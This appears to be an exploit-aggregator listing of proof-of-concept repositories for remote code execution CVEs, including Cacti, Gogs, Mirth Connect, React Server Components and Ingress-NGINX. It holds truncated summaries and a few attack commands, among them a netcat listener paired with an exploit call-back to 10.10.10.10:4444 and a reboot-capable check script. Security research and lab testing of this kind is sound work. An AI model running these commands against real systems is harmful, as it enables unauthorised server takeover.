CVE-2025-24367-PoC-Cacti

Cacti CVE-2025-24367 认证远程代码执行 PoC 该仓库包含针对 CVE-2025-24367 的概念验证利用代码，该漏洞是 Cacti 中的一个认证远程代码执行漏洞。 该问题利用了图形模板处理中输入清理不足的缺陷。通过向 “Unix – Logged in Users” 图形模板（ID 226）中注入恶意内容，可以向 Cacti Web 根目录写入任意 PHP 文件，并在服务器上执行命令。 此 PoC 仅用于 实验室环境、受控测试和研究目的 。 漏洞摘要 产品： Cacti 漏洞类型： 认证远程代码执行 CVE 编号： CVE-2025-24367 攻击向量：...

CVE-2025-33053_PoC

CVE-2025-33053 POC 利用 概述 在 .url 文件中，工作目录可以设置为外部 WebDAV 服务器。当 Windows 客户端打开该文件时，URL 字段中定义的可执行文件的依赖项会在外部 WebDAV 共享中搜索。如果某个任意可执行文件或 DLL 与这些依赖项之一同名，它就会被 Windows 客户端加载并执行。在这个 POC 中，URL 被设置为 Windows 客户端本地的 Internet Explorer 诊断可执行文件“iediagcmd.exe”。iediagcmd.exe...

PHP-CGI-Argument-Injection-Exploit

🎬 这个 YouTube 视频 1️⃣ 目标检查 从 Kali 中确定 Metasploitable 的 IP： root@kitploit: ip a 例如： Kali: 192.168.56.101 Metasploitable2: 192.168.56.102 检查端口和服务： root@kitploit: nmap -p 80 192.168.56.102 也可以在浏览器中检查： http://192.168.56.102/ 2️⃣ 启动 Metasploit root@kitploit: msfconsole 3️⃣ 选择 PHP CGI 漏洞利用模块 root@kitploit:...

CVE-2023-43208

Mirth Connect RCE - CVE-2023-43208 描述 适用于 Mirth Connect 远程代码执行 RCE 的 PoC 影响 Mirth Connect 示例 启动监听器 root@kitploit: nc -lvnp 4444 运行漏洞利用程序 root@kitploit: ./exploit https://target.com 10.10.10.10 4444 参考链接 https://nvd.nist.gov/vuln/detail/CVE-2023-43208 https://github.com/advisories/GHSA-pj5c-qr29-6...

code-wsl-rce

VS Code 远程 WSL 远程代码执行的概念验证 - CVE-2021-43907 参见博客： https://parsiya.net/blog/2021-12-20-rce-in-visual-studio-codes-remote-wsl-for-fun-and-negative-profit. 另见 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43907。 构建 1. 运行 npm install。 2. 将适用于你架构的 vsda.node 存放在 /routes/vsda.node。 3. 运...

IngressNightmare-RCE-POC

⚠️ Critical RCE in Ingress-NGINX via Configuration Injection CVE-2025-1974 and more 此仓库包含针对 CVE-2025-1974 的概念验证（PoC）利用程序，这是 Kubernetes 的 Ingress-NGINX 控制器中的一个严重（CVSS 9.8 ）漏洞。该漏洞允许未经身份验证的攻击者通过使用 Validating Admission Controller 时不安全的配置注入实现远程代码执行。这是 2025 年 3 月 26 日披露并修复的五项漏洞中最严重的一个。 📌 影响： •...

CVE-2022-44136-poc

CVE-2022-44136-poc Zenar CMS 9.3 在其文件管理模块中存在​​不受限制的文件上传漏洞​​，允许经过身份验证的攻击者（拥有最小权限）将任意文件（包括恶意 PHP 脚本）上传到 Web 服务器。由于文件扩展名验证不足和清理不当，攻击者可以通过上传精心构造的有效载荷（例如 Web shell）并通过 Web 根目录访问它，从而在目标系统上执行任意代码。...

CVE-2025-8110

RCE - CVE-2025-59528 Gogs = 0.13.3 利用 root@kitploit: $ python3 CVE-2025-8110.py -h usage: CVE-2025-8110.py -h -u URL -lh HOST -lp PORT -user USERNAME -pass PASSWORD -x CVE-2025-8110 Gogs Exploit options: -h, --help show this help message and exit -u, --url URL Gogs base URL e.g.,...

CVE-2025-55182-React2Shell-CVSS-10.0-

受影响软件：React 服务端组件（版本 19.0.0、19.1.0、19.1.1、19.2.0） 漏洞类型：通过不安全的反序列化实现未经身份验证的远程代码执行。 描述：React 服务端飞行协议中的一个缺陷允许未经身份验证的攻击者发送特制的序列化载荷，利用原型污染，从而导致在服务器上执行任意代码。 我还包含了 exploit.py 以供参考（Python PoC），以及一个适用于 HTB 用户的版本。...

EUVD-2026-83724

NivoCart through 2.4.0 contains an arbitrary file upload vulnerability in the File Manager multi endpoint that fails to validate file extensions for new filenames or when chunks parameter is 2 or higher. Attackers with view-only back-office access can upload PHP files to the web-accessible...

CVE-2023-39115

CVE-2023-39115 描述： Campcodes 在线婚恋网站系统脚本 v3.3 存在任意文件上传漏洞，可能允许攻击者在目标服务器上执行任意代码。该漏洞源于对上传文件（尤其是 SVG（可缩放矢量图形）文件）的验证不足。攻击者可通过利用此漏洞上传特制且包含恶意代码的 SVG 文件。 攻击向量： 攻击者可通过制作包含恶意脚本代码的 SVG 文件来利用此漏洞，当应用程序的上传功能处理该 SVG 文件时，恶意脚本代码将被执行。 影响： 成功利用此漏洞可能导致在服务器上执行任意代码。攻击者因此能够控制该应用程序乃至整个服务器，从而造成数据泄露、未授权访问以及对底层基础设施的进一步攻击。...

CVE-2025-55182

CVE-2025-55182 扫描器 用于 CVE-2025-55182 的概念验证扫描器，这是一个影响 React 服务器组件 RSC 的严重未授权远程代码执行 RCE 漏洞。 概述 2025年12月3日，披露了一个影响使用 React 服务器组件的 React 19.x 和 Next.js 应用程序的严重漏洞。该漏洞存在于 RSC "Flight" 协议的反序列化逻辑中，允许攻击者通过精心构造的 HTTP 请求在服务器上执行任意代码。 严重性 属性| 值 ---|--- CVE| CVE-2025-55182 CVSS| 严重 攻击向量| 网络 身份认证| 无 利用情况|...

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 ./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check 安全与不安全的漏洞/验证检查： （仅在未通过“安全检查”验证时，才会使用“不安全检查”） $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot 不安全的漏洞/验证检查： $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot 启动并连接 SS...

CVE-2024-38063

CVE-2024-38063 — Windows IPv6 Stack Vulnerability Analysis & PoC -red Technical analysis and Proof-of-Concept PoC for CVE-2024-38063 , a critical Remote Code Execution RCE vulnerability in the Windows IPv6 stack tcpip.sys. Discovered by KunLun Lab, this issue is zero-click , meaning it can be...

CVE-2025-55182-analysis

一、漏洞概述 这两天有被React的一个反序列化RCE漏洞刷屏，官方CVSS直接拉满10.0分，和当年的Log4j持平。一时间不少传闻声称其为现代前端的Log4j，引起了不少公司开发者恐慌，于是乎大家一觉起来就是各种的查文献打补丁...。在此同时，网上也有传出不少质疑声，有人测试后发现该漏洞并宣传的那样，相反漏洞利用是需要一定条件的。于是我决定抽时间深入研究一下这个漏洞。 1.1 漏洞信息 CVE编号 : CVE-2025-55182 CVSS评分 : 10.0 Critical 漏洞类型 : 原型链污染 → 远程代码执行 受影响版本 : react-server-dom-webpack...

CVE-2025-61882-Oracle-BI-Publisher-RCE

受影响软件：Oracle BI Publisher 版本 12.2.1.4.0、12.2.1.3.0。 漏洞类型：通过BI Publisher集成组件中的不安全反序列化实现远程代码执行。 描述：BI Publisher集成组件对不受信任的数据进行反序列化时未进行验证，从而允许未经身份验证的攻击者在底层服务器上执行任意代码。...

Burp_CVE-2025-31324

CVE-2025-31324 Burp Suite 扩展 概述 此基于 Python 的 Burp Suite 扩展用于检测 CVE-2025-31324 ，这是 SAP NetWeaver Visual Composer 的 Metadata Uploader 组件中的一个严重漏洞。该漏洞由于缺少授权检查，允许未经身份验证的远程代码执行。扩展通过向 /developmentserver/metadatauploader 端点发送测试文件并检查成功上传的指示器来执行主动扫描。 注意 ：此工具仅用于道德安全测试 。仅在对系统拥有明确许可的情况下使用。未经授权的使用可能违法且不道德。 功能...

CVE-2025-8110-Gogs-Remote-Code-Execution

受影响软件：Gogs（自托管Git服务）0.13.0版本之前。 漏洞类型：Git钩子机制中的命令注入。 描述：拥有仓库推送权限的攻击者可以构造恶意的Git钩子，将命令注入到post-receive钩子脚本中，从而导致在Gogs服务器上远程执行代码。...

CVE-2025-55182-React2Shell-Exploit

Next.js React2Shell CVE-2025-55182 漏洞利用工具 一份概念验证工具，用于演示严重的 React2Shell 漏洞（CVE-2025-55182 / CVE-2025-66478），仅限授权、本地测试环境 。 ⚠️ 重要警告：正在被积极利用 仅限合法使用 ：仅针对您拥有或已获得明确书面授权测试的系统使用。 需要立即修补 ：如果存在漏洞，必须立即更新。修补是唯一确定的缓解措施。 不提供担保 ：本工具仅用于教育和授权安全评估目的。 📄 漏洞概述 CVE-2025-55182 React2Shell 是 React 服务器组件 RSC "Flight"...

CVE-2025-55182

CVE-2025-55182 - React2Shell React Server Components / Next.js Pre-Authentication Remote Code Execution 属性| 值 ---|--- CVE ID| CVE-2025-55182 CVSS| 10.0 Critical CWE| CWE-502: Deserialization of Untrusted Data 类型| Pre-Auth RCE 影响范围 组件| 受影响版本 ---|--- React| 19.0.0, 19.1.0, 19.1.1, 19.2.0 Next.js|...